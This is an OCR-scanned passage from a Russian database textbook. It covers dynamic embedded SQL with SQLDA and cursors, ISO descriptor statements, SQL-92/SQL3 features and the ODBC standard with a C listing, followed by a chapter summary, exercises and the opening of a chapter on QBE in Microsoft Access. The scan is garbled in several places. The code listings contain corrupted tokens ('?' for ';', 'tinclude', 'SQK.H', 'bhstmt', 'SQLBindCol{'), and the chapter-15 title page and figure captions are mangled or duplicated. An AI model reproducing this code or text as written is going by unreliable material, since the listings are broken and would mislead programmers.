EXEC SQL WHENEVER NOT FOUND GOTO close_csr;
/* подготовка и описание запроса */
EXEC SQL PREPARE stmt FROM :query?
EXEC SQL DESCRIBE stmt INTO :sqlda?
/* Проверка, является ли данный оператор оператором SELECT */
if (sqlda—>sqld == 0)
EXEC SQL EXECUTE IMMEDIATE :query?
else {'
/* Проверка, достаточен ли размер области SQLDA? если нет, область
заново инициализируется и для оператора выдается команда DESCRIBE */
if (sqlda—>sqld > sqlda->sqln) { init_sqlda(sqlda-»sqld); EXEC SQL DESCRIBE stmt INTO :sqlda;
}
/* Размер области SQLDA достаточен? настройка области данных
и объявление курсора для запроса */
setup_sqlda( );
EXEC SQL DECLARE select_cursor CURSOR FOR stmt?
/* Открытие курсора и выполнение оператора */
EXEC SQL OPEN select_cursor?
/* Цикл выборки каждой строки результирующей таблицы запроса */ for ( ; ; ) {
/* Выборка очередной строки результирующей таблицы запроса */ EXEC SQL FETCH select_cursor USING DESCRIPTOR :sqlda;
/* отображение данных */
print_row();
} /* конец оператора for */
} /* конец оператора else */
/* Закрытие курсора */
close_csr:
EXEC SQL CLOSE select^cursor;
} /* конец onepaTopa~while */
GOTO finish;
/* Обработка ошибок - вывод сообщения */
error1:
printf("SQL error ld\n", sqlca.sqlcode);
finish:
EXEC SQL DISCONNECT;
}
Использование динамических курсоров для модификации данных
В разделе 14.5.4 мы уже обсуждали, как осуществляется модификация данных через курсоры с использованием расширенных версий интерактивных SQL- операторов UPDATE и DELETE. Эти же самые расширения могут использоваться и в динамическом SQL.
Определение динамического SQL в стандарте ISO
В данном разделе мы кратко обсудим основные отличия, существующие между реализацией динамического SQL в среде СУБД INGRES и требованиями стандарта ISO.
Область SQLDA
В стандарте ISO область дескрипторов SQL (SQLDA) понимается как переменная абстрактного типа, близкая по смыслу к типичным объектным переменным в объектно-ориентированном программировании. Доступ к полям области SQLDA программист должен получать только с помощью набора методов (или функций). Распределение и освобождение памяти для области SQLDA должно выполняться с помощью следующих операторов:
ALLOCATE DESCRIPTOR descriptor_name [WITH MAX occurrences]
DEALLOCATE DESCRIPTOR descriptor_naiae
Доступ к полям области SQLDA должен осуществляться с помощью следующих операторов:
GET DESCRIPTOR descriptor_пате get_descriptor_info
SET DESCRIPTOR descriptorjiame set_descriptor_info
Например, для получения сведений о максимальном количестве элементов, распределенном для области дескрипторов, необходимо использовать следующий оператор:
EXEC SQL GET DESCRIPTOR :sqlda :count = COUNT;
Для установки значений полей первого дескриптора необходимо использовать следующие операторы:
EXEC SQL SET DESCRIPTOR :sqlda VALUES 1 LENGTH 4,
DATA 'ABCD', INDICATOR 0;
Оператор DESCRIBE
В стандарте ISO оператор DESCRIBE разделен на два оператора — для того чтобы подчеркнуть различие между входными и выходными параметрами. Оператор DESCRIBE INPUT предоставляет программе описание входных параметров подготовленного SQL-оператора, тогда как оператор DESCRIBE OUTPUT передает программе описание столбцов результирующей таблицы динамического оператора SELECT. В обоих случаях формат операторов DESCRIBE не отличается от рассмотренных выше.
Стандарт SQL-92 и последующие
В этом разделе мы познакомимся с новыми функциями, которые были добавлены в стандарт ISO выпуска 1992 года, а также с функциями, которые предполагается включить в очередную версию стандарта языка SQL (SQL3). В разделе 23.4 мы обсудим объектно-ориентированные функции, которые предполагается включить в стандарт SQL3.
Новые функции в стандарте SQL-92
Основными функциями, которые были добавлены в стандарт языка SQL выпуска 1992 года, являются следующие:
поддержка дополнительных типов данных (VARCHAR, DATETIME и INTERVAL);
поддержка нескольких наборов символов;
поддержка средств манипулирования схемой;
поддержка дополнительных типов привилегий пользователей (USAGE и INSERT <column_name_list>yi
использование дополнительных функций поддержки целостности данных (в частности, доменов, утверждений и дополнительных ограничений поддержки ссылочной целостности);
средства определения информационной схемы (которые предоставляют пользователям доступ к стандартному словарю данных);
поддержка расширенных средств диагностики;
включение средств удаленного доступа (Remote Data Access — RDA), в частности операторов организации сеанса и квалификатора имени схемы;
поддержка дополнительных реляционных операций (операторы JOIN, INTERSECT и EXCEPT);
поддержка средств динамического SQL;
определения прямого языка SQL;
стандартизация средств поддержки внедренных SQL-операторов;
встроенная поддержка дополнительного набора языков;
поддержка повышенной ортогональности.
Функции, предусмотренные для включения в последующие версии языка SQL
Организация ISO определила следующие направления в качестве предлагаемых для обсуждения с целью включения новых функций в очередную версию стандарта языка SQL:
стандартизация дополнительных требований к поддержке удаленного доступа к данным (Remote Data Access — RDA);
стандартизация дополнительных требований к средствам поддержки системного словаря данных (Information Resource Dictionary System — IRDS);
расширения схемы и средств определения ограничений;
дополнительные возможности манипулирования данными;
интерфейс обслуживания базы данных;
дополнительные интерфейсы с языками программирования;
поддержка утилит работы с базой данных;.
интерфейсы для распределенных баз данных;
поддержка объектно-ориентированных баз данных;
поддержка систем баз знаний;
поддержка других высокоуровневых инструментов и современных информационных технологий.
Перечисленные ниже функции уже были одобрены на момент написания этой книги и будут включены в очередную версию стандарта.
Новые встроенные типы данных:
данные перечислимого типа;
булевы и новые наборы символов;
большие объекты символьного и двоичного типов.
Типы данных, определяемые пользователем.
Определяемые пользователем функции и операторы, в том числе поддержка внешних функций.
Поддержка подтаблиц и генерализаций.
Поддержка триггеров, определяемых для операций вставки и обновления поименованных таблиц.
Поддержка рекурсивных запросов — например, рекурсивных операторов UNION.
Расширенная поддержка утверждений.
Несколько типов значения NULL.
Поддержка предиката SIMILAR.
Реализация асинхронных средств языка SQL.
Поддержка смягченных правил обновления.
Поддержка интерфейса уровня вызова (Call-Level Interface — CLI).
Включение средств, превращающих язык SQL в завершенный, блок- структурированный процедурный язык программирования.
Некоторые из упомянутых выше функций будут рассмотрены нами в разделе 23.4.
14.8. Стандарт ODBC
(Open Database Connectivity)
В разделе 14.5.7 мы кратко познакомились с подходом, альтернативным использованию внедренных SQL-операторов, который предусматривает обращение к функциям прикладного API, предоставляемого разработчиком СУБД. Прикладной API включает набор библиотечных функций, обеспечивающих программиста разнообразными типами доступа к базе данных — такими, как подключение, выполнение различных SQL-операторов, выборка отдельных строк данных из результирующих таблиц запросов и т.д. Единственным недостатком подобного подхода является отсутствие универсальности — программа обязательно должна быть обработана предкомпилятором и связана с библиотекой API, поставляемой в составе конкретной целевой СУБД. При необходимости использования этой же программы в среде иной
СУБД потребуется, как минимум, выполнить ее обработку новым предкомпилятором и связать с/библиотекой API из новой СУБД. С теми же проблемами сталкиваются и независимые разработчики программного обеспечения, которые обычно вынуждены писать отдельные версии своего приложения для каждой из целевых СУБД, с которыми данное приложением планируется использовать. Как правило, это связано с дополнительным расходом немалых ресурсов, затрачиваемых на разработку и сопровождение программного обеспечения, специфического для отдельных типов целевых СУБД, а не собственно самого создаваемого приложения.
Чтобы упорядочить данный подход, фирма Microsoft разработала стандарт, получивший название Open Database Connectivity — ODBC. Технология ODBC предусматривает использование единого интерфейса для доступа к смешанным базам данных SQL, причем язык SQL рассматривается как базовое стандартное средство доступа к данным. Данный интерфейс (который встраивается непосредственно в язык С) обеспечивает высокую степень универсальности, в результате чего одно и то же приложение может получать доступ к данным, хранящимся в базах различных целевых СУБД, без необходимости внесения изменений в его программный текст. Таким образом, разработчики получили инструмент, позволяющий создавать и распространять приложения архитектуры “клиент/сервер”, способные работать с широким спектром различных целевых СУБД. Для связи приложения с любой выбранной пользователем целевой СУБД достаточно лишь иметь соответствующий ODBC-драйвер.
В настоящее время технология ODBC фактически приобрела значение отраслевого стандарта. Основной причиной популярности этой технологии является ее гибкость, обеспечивающая разработчиков следующими преимуществами.
Приложения больше не связаны с прикладным API какой-то одной конкретной СУБД.
SQL-операторы могут явно включаться в исходный текст приложения либо динамически создаваться непосредственно во время выполнения программы.
Приложение может игнорировать особенности используемых протоколов передачи данных.
Данные могут посылаться и доставляться в том формате, который наиболее удобен для данного приложения.
Средства поддержки ODBC разработаны с учетом требований стандартов Х/Open и CLI (Call-Level Interface).
В настоящее время драйверы ODBC существуют для более чем пятидесяти различных типов самых распространенных СУБД.
Архитектура ODBC
В интерфейс ODBC включены приведенные ниже элементы.
Библиотека функций, вызов которых позволяет приложению подключаться к базе данных, выполнять SQL-операторы и извлекать информацию из результирующих наборов данных.
Стандартный метод подключения и регистрации в СУБД.
Стандартное представление для данных различных типов.
Стандартный набор кодов ошибок.
Типовой синтаксис SQL-операторов, построенный на использовании спецификаций Х/Open и ISO CLI.
Общая архитектура ODBC включает четыре элемента.
Приложение. Выполняет обработку данных и вызов функций библиотеки ODBC для отправки SQL-операторов в СУБД и выборки возвращаемой СУБД информации.
Менеджер драйверов. Этот компонент выполняет загрузку драйверов по требованию приложения. Менеджер драйверов был разработан компанией Microsoft и представляет собой библиотеку DLL.
Драйверы и агенты баз данных. Эти компоненты обрабатывают вызовы функций ODBC и направляют SQL-запросы в конкретные источники данных, а также возвращают полученные результаты приложению. При необходимости драйверы выполняют модификацию исходного запроса приложения с целью привидения его в соответствие синтаксическим требованиям целевой СУБД. Драйверы могут предоставлять только те возможности, которые обеспечиваются целевой СУБД. От них не требуется собственной реализации тех возможностей, которые данная СУБД не поддерживает. Например, если целевая СУБД не поддерживает операции открытого соединения, то эта функция не будет поддерживаться и ее ODBC-драйвером. Единственным важным исключением из этого правила являются драйверы для СУБД, не имеющих собственных ядер — например, таких как Xbase. В этом случае ядро СУБД, обеспечивающее хотя бы минимальную поддержку языка SQL, должно быть реализовано в самом драйвере.
В архитектурном решении с использованием нескольких ODBC-драйверов, показанном на рис. 14.3, а, все упомянутые выше задачи должны решаться самим ODBC-драйвером и использовать агенты баз данных не требуется. В случае использования единственного ODBC-драйвера (рис. 14.3, б) для каждого из типов СУБД потребуется применение агентов базы данных, размещаемых на стороне сервера. При обработке запросов на доступ к базе данных эти агенты тесно сотрудничают с ODBC-драйвером, расположенным на стороне клиента. В среде Windows единый ODBC-драйвер реализован в виде библиотеки DLL. Агенты баз данных реализуются как процессы-демоны, выполняемые на сервере с целевой СУБД.
(а)(а)(б)(б)Рис. 14.3. Архитектура ODBC: а) несколько драйверов: б) один драйверРис. 14.3. Архитектура ODBC: а) несколько драйверов: б) один драйвер
(а)
(а)
(б)
(б)
Рис. 14.3. Архитектура ODBC: а) несколько драйверов: б) один драйвер
Рис. 14.3. Архитектура ODBC: а) несколько драйверов: б) один драйвер
Источники данных. Этот компонент содержит те данные, доступ к которым необходим пользователю приложения. Данные сохраняются в базе данных, контролируемой целевой СУБД, операционной системой, а также сетевой операционной системой, если таковая используется.
Уровни соответствия ODBC
Архитектура ODBC определяет для драйверов два различных уровня соответствия: уровень ODBC API и уровень грамматики ODBC SQL. В этом разделе мы ограничимся рассмотрением уровня грамматики ODBC SQL. Читателей, заинтересованных в ознакомлении с уровнем ODBC API, авторы отсылают к документу “Microsoft ODBC Reference Guide”. В стандарте ODBC определяется грамматическое ядро, соответствующее спецификациям Х/Open САЕ (1992) и ISO CLI (1995). Более ранние версии ODBC были построены на предварительных версиях этих спецификаций и не включали их полной реализации. В стандарте ODBC 3.0 полностью реализованы обе эти спецификации и дополнительно добавлены функции, обычно используемые разработчиками в интерактивных приложениях баз данных — например, прокручиваемые курсоры.
Стандарт ODBC также включает определение минимального уровня грамматики, отвечающее базовому уровню соответствия требованиям ODBC, а также определение расширенной грамматики, включающее общепринятые расширения языка SQL, реализованные в различных СУБД.
Минимальный уровень поддержки языка SQL
Операторы языка определения данных (Data Definition Language — DDE): CREATE TABLE и DROP TABLE.
Операторы языка манипулирования данными (Data Manipulation Language — DML): SELECT, INSERT, UPDATE SEARCHED и DELETE SEARCHED.
Выражения: простейшие (например, A > В + С).
Типы данных: CHAR, VARCHAR или LONG VARCHAR.
Основной уровень поддержки языка SQL
Минимальный уровень поддержки грамматики языка SQL и типов данных.
Язык DDL: операторы ALTER TABLE, CREATE INDEX, DROP INDEX, CREATE VIEW, DROP VIEW, GRANT и REVOKE.
Язык DML: все возможности оператора SELECT.
Выражения: подзапросы, обобщающие функции — например, SUM и MIN.
Типы данных: DECIMAL, NUMERIC, SMALLINT, INTEGER, REAL, FLOAT, DOUBLE PRECISION.
Расширенный уровень поддержки языка SQL
Минимальный и основной уровни поддержки грамматики языка SQL и типов данных.
Язык DML: открытые соединения, позиционируемые операторы UPDATE, позиционируемые операторы DELETE, оператор SELECT FOR UPDATE и поддержка объединений.
Выражения: скалярные функции (например, SUBSTRING и ABS), функции даты, времени и литералы временных отметок.
Типы данных: BIT, TINYINT, BIGINT, BINARY, VARBINARY, LONG VARBINARY, DATE, TIME, TIMESTAMP.
Пакеты SQL-операторов.
Вызовы процедур.
Пример14.18. Использование технологии ODBC . . '
В листинге 14.9 приведен текст программы, реализующей задание из примера 14.16, но с использованием средств ODBC. В целях упрощения большая часть операций обработки ошибок опущена. Данный пример иллюстрирует методы выполнения основных операций в типичном ODBC-приложении.
Получение дескрипторов среды и соединения. Вызов функции SQLAllocEnv позволяет распределить память для дескриптора приложения и инициализировать используемый приложением интерфейс вызова ODBC-функций. Функция SQLAllocConnect распределяет память для дескриптора соединения в рамках среды с идентификатором henv. Дескриптор соединения содержит ссылочную информацию — например, дескрипторы допустимых операторов соединения и сведения о том, открыта ли транзакция в данный момент.
Подключение к источнику данных с помощью функции SQLConnect. В результате вызова этой функции загружается драйвер и устанавливается соединение с указанным источником данных.
Получение дескриптора оператора с помощью функции SQLAllocStmt. Дескриптор оператора содержит ссылки на информацию об операторе — например, на сетевую информацию, значения SQLSTATE и сообщения об ошибках, имя курсора, количество столбцов в результирующей таблице запроса и сведения о статусе обработки SQL-оператора.
По завершении обработки все дескрипторы должны быть освобождены, а соединение с источником данных разорвано.
В данном конкретном приложении программа осуществляет построение SQL- оператора SELECT и делает это с помощью ODBC-функции SQLExecDirect. Прежде чем отослать SQL-оператор в используемый источник данных, ODBC-драйвер выполняет необходимую модификацию его текста с целью приведения к формату, поддерживаемому этим источником данных. При необходимости приложение может включать в операторы один или более маркеров параметров. В этом случае потребуется предварительно вызвать ODBC-функцию SQLBindParame- ter, предназначенную для связывания каждого из маркеров параметров с соответствующей переменной базового языка. Затем следует вызвать ODBC- функцию SQLBindCol, выполняющую распределение памяти и задающую типы данных для каждого из столбцов результирующего набора данных. Для выборки всех строк результирующего набора данных организуется циклический вызов ODBC-функции SQLFetch.
Описанная выше структура программы может использоваться только в отношении SQL-операторов, которые выполняются в программе лишь однажды. Если некоторый SQL-оператор в ходе выполнения программы должен вызываться несколько раз, более эффективным решением будет вызов ODBC-функций SQLPrepare и SQLExecute — как описывалось выше, в разделе 14.6.1.
Листинг 14.9. Пример программы, использующей средства ODBC
tinclude "SQK.H"
linclude <stdio.h>
finclude <stdlib.h>
#define MAX_STMT_LEN 100 main() {
HENVhenv;/* дескриптор среды */
HDBChdbc;/* дескриптор соединения */
HSTMT
hstmt?
/* дескриптор оператора */
RETCODE
rc;
/* код возврата */
UCHAR
selstmt[MAX STMT LEN]; /* строка оператора SELECT
UCHAR
property_no[6];
/* значение pno */
UCHAR
street[26];
/* значение street */
UCHAR
city[16];
/* значение city */
UCHAR
area[16];
/* значение area */
UCHAR
pcode[9];
/* значение pcode */
SDWORD
pno_len, street_len,
city_len, area_len, pcode_len;
SQLAllocEnv(&henv);/* получение дескриптора среды */
SQLAllocConnect(henv, &hdbc); /* получение дескриптора соединения */ rc = SQLConnect(hdbc,
"estatedb", SQL_NTS, /* имя источника данных */ "manager", SQL_NTS,/* идентификатор пользователя */
"pterodactyl", SQL_NTS); /* пароль */
/* ЗАМЕЧАНИЕ: SQL_NTS указывает драйверу, что длину строки следует определять по конечному null-символу */
if (rc == SQL_SUCCESS || rc == SQL_SUCCESS_WITHJNFO) { SQLAllocStmt(hdbc, bhstmt); /* получение дескриптора оператора */
/* Подготовка оператора SELECT, выполнение его и связывание со столбцами результирующего набора данных */
lstrcpy(selstmt, "SELECT pno, street, area, city, pcode from property_for_rent where sno = 'SL41Z order by pno");
if (SQLExecDirect(hstmt, selstmt, SQL_NTS) != SQL_SUCCESS)
exit(-1);
SQLBindCol{hstmt, 1, SQL_C_CHAR, property_no,
(SDWORD)sizeof(propertyjio), &pno_len);
SQLBindCol(hstmt, 2, SQL_C_CHAR, street,
(SDWORD)sizeof(street), &street_len);
SQLBindCol(hstmt, 3, SQL_C_CHAR, area,
(SDWORD)sizeof(area), &area_len);
SQLBindCol(hstmt, 4, SQL_C_CHAR, city,
(SDWORD)sizeof(city), &city_len);
SQLBindCol(hstmt, 5, SQL_C_CHAR, pcode, (SDWORD)sizeof(pcode), &pcode_len); /* построчная обработка результирующего набора данных */
While (rc == SQL_SUCCESS || rc == SQL_SUCCESS_WITH_INFO) {
rc = SQLFetch(hstmt);
if (rc == SQL_SUCCESS || rc == SQL_SUCCESS_WITH_INFO) { .../* вывод строки данных обычным образом */
}
}
SQLFreeStmt( hstmt, SQL_DROP); /* освобождение дескриптора оператора */ SQLDisconnect(hdbc);/* отключение от источника данных */
}
SQLFreeConnect(hdbc);/* освобождение дескриптора соединения */
SQLFreeEnv(henv);/* освобождение дескриптора среды */
}
Резюме
Представлением называется виртуальная таблица, включающая некоторое подмножество столбцов и/или строк, и/или вычисляемых столбцов, выбранных из одной или более таблиц базы данных либо других представлений. Представления создаются с помощью оператора CREATE VIEW посредством задания определяющего запроса. Представление не является физически сохраняемой таблицей, а создается заново при обработке каждой очередной ссылки на него.
Представления могут использоваться с целью упрощения структуры базы данных с точки зрения пользователя и формулирования запросов к базе данных. Кроме того, представления могут использоваться для защиты определенных столбцов и/или строк таблицы от несанкционированного доступа. Не все виды представлений допускают обновление содержащихся в них данных.
Стандарт ISO языка SQL предусматривает использование в операторах CREATE и ALTER TABLE специальных предложений, предназначенных для определения требований поддержи целостности данных, к которым относятся: условие обязательности наличия данных; ограничения для доменов атрибутов; требования поддержки целостности сущностей; требования поддержки ссылочной целостности данных и требования (бизнес-правила) данного предприятия. Обязательность наличия данных указывается с помощью ключевого слова NOT NULL. Ограничения для доменов атрибутов задаются либо с помощью предложений CHECK, либо посредством создания соответствующих доменов с помощью операторов CREATE DOMAIN. Первичные ключи определяются с помощью фразы PRIMARY KEY, а альтернативные ключи описываются с помощью комбинации ключевых слов NOT NULL и описателей UNIQUE. Внешние ключи описываются с помощью предложения FOREIGN KEY, а также задания правил удаления и обновления с использованием фраз ON UPDATE и ON DELETE. Бизнес-правила предприятия могут быть заданы с помощью предложений CHECK и UNIQUE.
Оператор COMMIT указывает на успешное завершение транзакции и необходимость фиксации в базе данных всех изменений, внесенных при ее выполнении. Оператор ROLLBACK указывает, что выполнение транзакции должно быть прекращено, а все внесенные в ходе ее выполнения изменения должны быть отменены.
В языке SQL управление доступом к данным построено на базе концепций идентификаторов пользователей, права владения и предоставления привилегий. Идентификаторы пользователей назначаются всем пользователям базы данных ее администратором (АБД) и предназначены для идентификации отдельных пользователей. Каждый создаваемый в базе данных SQL-объект имеет своего владельца. Владелец объекта может предоставить другим пользователям базы данных те или иные привилегии доступа к данному объекту, для чего используется оператор GRANT. Предоставленные привилегии могут быть впоследствии отменены с помощью оператора REVOKE. К предоставляемым привилегиям относятся: USAGE, SELECT, DELETE, INSERT, UPDATE и REFERENCES, причем три последние могут быть ограничены отдельными столбцами таблицы или представления. Пользователю может быть предоставлено право передавать полученные им привилегии другим пользователям базы данных по его собственному усмотрению, для чего используется ключевая фраза WITH GRANT OPTION. Этот режим может быть отменен с помощью ключевой фразы GRANT OPTION FOR оператора REVOKE.
■ Операторы языка SQL могут быть внедрены в программы, написанные на языках высокого уровня. Внедренные операторы преобразуются в вызовы функций с помощью предкомпиляторов, входящих в состав СУБД. Во внедренных SQL- операторах могут использоваться переменные базового языка, которые можно помещать в любое место оператора, в котором допускается указывать константу. Самым простым типом внедренных SQL-операторов являются те, которые не
создают результирующей таблицы запроса. Формат внедренных SQL-операторов почти идентичен формату операторов, используемых при интерактивной работе.
■ В программу на базовом языке оператор SELECT может быть непосредственно внедрен только в том случае, если его результирующая таблица состоит из единственной строки данных. Во всех остальных случаях для выборки данных из результирующей таблицы запроса должны использоваться курсоры. Курсор функционирует как указатель на определенную строку в результирующей таблице. Текст запроса задается в операторе DECLARE CURSOR. Оператор OPEN предназначен для открытия курсора и собственно выполнения запроса. Оператор FETCH позволяет последовательно выбирать строки из результирующей таблицы запроса, а оператор CLOSE предназначен для закрытия курсора и завершения обработки запроса. Для обновления или удаления текущей выбранной строки курсора могут использоваться соответственно операторы UPDATE или DELETE.
■ Динамический SQL предоставляет расширенные возможности использования внедренных SQL-операторов, позволяющие создавать более универсальное программное обеспечение. Средства динамического SQL используются в тех случаях, когда часть или даже весь текст требуемого SQL-оператора на момент компиляции программы не известен, причем эта неизвестная часть не является некоторой константой. Для выполнения SQL-операторов, невозвращающих результатов, и любых однострочных запросов может использоваться оператор EXECUTE IMMEDIATE. Если некоторый оператор за время работы программы потребуется выполнить больше одного раза, для повышения общей производительности приложения могут использоваться операторы PREPARE и EXECUTE. Для передачи в оператор EXECUTE изменяющихся значений параметров могут использоваться маркеры параметров.
■ Область дескрипторов языка SQL (SQL Descriptor Area — SQLDA) представляет собой структуру данных, используемую для передачи или выборки данных с помощью динамических SQL-операторов. Оператор DESCRIBE возвращает программе описание динамически подготовленного SQL-оператора, помещенное в область SQLDA. Если в поле SQLD области SQLDA содержится значение нуль, значит, данный оператор не является оператором SELECT. Для выполнения динамических операторов SELECT, возвращающих больше одной строки данных, используются динамические курсоры.
■ Технология Open Database Connectivity (ODBC) фирмы Microsoft предлагает единый интерфейс доступа к разнообразным базам данных SQL. В технологии ODBC язык SQL используется как основной стандарт доступа к данным. Интерфейс ODBC (встроенный в язык С) обеспечивает высокую степень универсальности, в результате чего одно и то же приложение получает возможность доступа к базам данных различных СУБД, поддерживающих язык SQL. Подобные функциональные возможности технологии ODBC позволяют разработчикам создавать и выпускать на рынок приложения с распределенной архитектурой “клиент/сервер”, не требующие применения СУБД какого-либо конкретного типа. Для связи приложений с СУБД различных типов используются соответствующие ODBC-драйверы. В настоящее время технология ODBC уже фактически принята как отраслевой стандарт.
Вопросы
Перечислите достоинства и недостатки, свойственные представлениям.
Опишите ход выполнения процесса разрешения представления.
Каким требованиям должно удовлетворять представление, чтобы оно могло быть обновляемым?
Опишите основные возможности и поясните важность функций поддержки целостности данных.
Поясните, как работает механизм контроля за доступом к данным языка SQL.
Опишите различия между интерактивным языком SQL, статическими внедренными SQL-операторами и динамическим SQL.
Упражнения
Ответьте на приведенные ниже вопросы, используя ту же реляционную схему, которая использовалась для упражнений в главе 13.
Создайте представление, содержащее название отеля и имена постояльцев, поселившихся в этом отеле.
Создайте представление, содержащее счет на оплату для каждого из постояльцев отеля “Grosvenor Hotel”.
Предоставьте пользователям Manager и Deputy полный доступ к созданным в предыдущих упражнениях представлениям с правом передачи этих привилегий другим пользователям.
Предоставьте пользователю Account привилегию доступа SELECT к созданным выше представлениям. Затем отмените это право для данного пользователя.
Создайте таблицу Hotel, используя все необходимые средства поддержки целостности данных, доступные в языке SQL.
Создайте таблицы Room, Booking и Guest, используя любые необходимые средства поддержки целостности данных языка SQL для реализации следующих требований:
в поле Туре должно помещаться одно из следующих значений: Single, Double или Family;
значение в поле Price должно находиться в диапазоне от 10 до 100 фунтов стерлингов;
значение в поле Room_No должно быть целым числом в диапазоне от 1 до 100;
значения, помещаемые в поле Date_From и DateJTo, должны быть больше
текущей даты;
следует исключить возможность повторного заселения одного и того же номера;
следует исключить возможность повторной регистрации одного и того же постояльца до истечения срока текущего договора с ним.
Изучите средства поддержки встроенных SQL-операторов в какой-либо из используемых вами СУБД. Оцените соответствие этих средств поддержки требо- _ ваниям стандарта ISO. Имеются ли расширения стандартных функциональных возможностей и все ли определенные в стандарте ISO возможности реализованы в данной СУБД?
Напишите небольшую программу, предназначенную для ввода сведений о постояльцах и помещения соответствующей записи в таблицу Guest.
Напишите небольшую программу, предназначенную для ввода записи о регистрации нового постояльца, предусматривающей проверку существования в базе данных сведений об указанном отеле, постояльце и номере, с последующим помещением соответствующей записи в таблицу Booking.
Напишите программу, предназначенную для увеличения цены каждого существующего гостиничного номера на пять процентов.
Напишите программу, составляющую счет для каждого из постояльцев, выбывающих сегодня из отеля “Grosvenor Hotel”.
Напишите программу, позволяющую вводить данные в любую из указанных пользователем таблиц.
ов
В этой главе
ые возможности языка запросов по о ry-by-Example-QBE). ,
‘поддерживаемые функциями QBE СУБД
Язык QBE
ss.
ГЛАВА
^‘QBE для создания дап^рсов выборки^^
eQBE для доступа к одной или hi
Рйчислений^средствами QBE., '
ользование дополнительных возможно
|Й^йв®$^^ соотМствй!ВНИИ
^^n^ij^ffl^BecTaHMiiiil^
^ИЫХ 3
^спользовани^йк содержимого т
В этой главе мы познакомимся с основными особенностями языка QBE (Query-by- Example — Язык запросов по образцу) на примере соответствующих функциональных возможностей СУБД Microsoft Access.
Язык QBE использует визуальный подход для организации доступа к информации в базе данных, построенный на применении шаблонов запросов, предложенных Злуфом (Zloof) в 1977 г. Работа в QBE осуществляется посредством задания образцов значений в шаблоне запроса, предусматривающем тот тип доступа к базе данных, который требуется в данный момент, — например, получение ответа на некоторый вопрос.
Язык QBE был разработан компанией IBM в 70-е годы и предназначался для пользователей, заинтересованных в выборке информации из баз данных. Этот язык получил у пользователей столь широкое признание, что в настоящее время в той или иной мере он реализован практически во всех популярных СУБД, включая и Microsoft Access. Средства поддержки языка QBE в СУБД Microsoft Access весьма просты в эксплуатации и в то же время предоставляют пользователям достаточно широкий спектр возможностей работы с данными.
Средства языка QBE могут быть использованы для ввода запросов к информации, сохраняемой в одной или более таблиц, а также для определения набора полей, которые должны присутствовать в результирующей таблице. Отбор записей может проводиться по конкретному или общему критерию и предусматривать выполнение необходимых вычислений на основе сохраняемой в таблицах информации. Кроме того, средства языка QBE можно использовать для выполнения различных операций над таблицами — например, для вставки и удаления записей, модификации значений полей или создания новых полей и таблиц. Для демонстрации всех этих возможностей в данной главе мы воспользуемся соответствующими практическими примерами.
При создании запроса с использованием средств QBE, СУБД Microsoft Access неявно конструирует эквивалентный оператор языка SQL, предназначенный для выполнения указанных действий. Язык SQL широко используется для выполнения запросов, обновления и обслуживания реляционных баз данных. Исчерпывающий обзор всех функций, предусмотренных стандартом SQL2, можно найти в главах 13, “Язык SQL” и 14, “Дополнительные средства языка SQL”. В этой главе эквивалентный SQL-оператор приводится для каждого из запросов на языке QBE, используемых в качестве примера. Однако сколько-нибудь подробного обсуждения этих SQL-операторов мы проводить не будем.
В главе 12, “Пример разработки физического проекта базы данных” представлен практический пример применения методологии физического проектирования баз данных, причем в качестве целевой СУБД используется Microsoft Access. Краткие сведения об этой СУБД были предложены вашему вниманию в разделе 12.1.
Структура этой главы
В этой главе для иллюстрации возможностей средств поддержки языка QBE в СУБД Microsoft Access используются таблицы учебного приложения DreamHome, содержимое которых представлено в табл. 3.3-3.7. В разделе 15.1 дается краткий обзор различных типов QBE-запросов, поддерживаемых СУБД Microsoft Access. В разделе 15.2 демонстрируются способы построения простых запросов на выборку информации с использованием сетки языка QBE. В разделе 15.3 приводятся примеры применения более сложных QBE-запросов (например, перекрестных запросов и запросов с автоподстановкой). Наконец, в разделе 15.4 мы обсудим создание и применение активных запросов (в частности, для обновления данных в базе и с целью создания новых таблиц).
Знакомство со средствами генерации запросов СУБД Microsoft Access
При создании или открытии базы данных в среде СУБД Microsoft Access в окне Database отображаются все объекты этой базы данных — таблицы, формы, запросы и отчеты. Так, при открытии базы данных DreamHome в этом окне будет представлен набор таблиц, входящих в упомянутую базу данных — как показано на рис. 15.1.
Окно базы данных
ВИВИГй™ DieamHume Database
ВИ
ВИ
ЦП) Tables | @ Queries | 0D Forms | В Reports ] 8 Macros | ф.Нойуй^^
® BRANCH;ОШ OWNER^^ ( 5ПИ PROPERTY.FOR.RENT~ 'И RENTERX2^S±^ '® BRANCH;ОШ OWNER^^ ( 5ПИ PROPERTY.FOR.RENT~ 'И RENTERX2^S±^ 'Объекты базы данныхОбъекты базы данных
® BRANCH;
ОШ OWNER^^ ( 5
ПИ PROPERTY.FOR.RENT~ '
И RENTERX2^S±^ '
® BRANCH;
ОШ OWNER^^ ( 5
ПИ PROPERTY.FOR.RENT~ '
И RENTERX2^S±^ '
Объекты базы данных
Объекты базы данных
Рис. 15.1. Окно Database СУБД Microsoft Access с объектами базы данных DreamHome
Запрос к содержащейся в базе данных информации необходимо сконструировать таким образом, чтобы указать СУБД, какие именно данные нас интересуют. Чаще всего используется тип запросов, который принято называть запросами на выборку. Запросы на выборку позволяют просматривать, анализировать или вносить изменения в данные, сохраняемые в одной или нескольких таблицах.
При выполнении запроса на выборку СУБД Microsoft Access помещает выбранные данные в динамический набор данных (dynaset). Динамический набор представляет собой динамически создаваемое представление (вид), содержащее данные, извлекаемые из одной или более таблиц. Данные выбираются и сортируются в соответствии с указанными в запросе требованиями. Другими словами, динамический набор представляет собой обновляемый набор записей, определенный таблицей или запросом, который можно рассматривать как отдельный объект.
Помимо запросов на выборку, в среде СУБД Microsoft Access может быть создано и множество других полезных типов запросов. В табл. 15.1 приведен краткий обзор различных типов запросов, поддерживаемых СУБД Access. Все эти варианты запросов подробно обсуждаются в последующих разделах данной главы. Исключением являются лишь запросы, использующие специфические возможности языка SQL, отсутствующие в языке QBE.
В начале процедуры создания нового запроса СУБД Microsoft Access выводит диалоговое окно New Query, показанное на рис. 15.2.
Представленный в этом окне перечень доступных вариантов дальнейших действий позволяет либо приступить к созданию нового запроса с нуля и выполнить все требуемые действия собственными силами (вариант Design View), либо воспользоваться для создания запроса помощью одного из мастеров СУБД Access, названия которых составляют оставшуюся часть списка.
Таблица 15.1. Типы запросов, поддерживаемые в СУБД Microsoft Access
Тип запроса
Описание
Запросы на выборку
Содержат формулировку запроса к базе данных, определяемую как набор критериев для выборки интересующих данных из одной или более таблиц
Запросы с обобщением
Предусматривают выполнение вычислений с использованием данных из некоторой группы записей
Параметрические
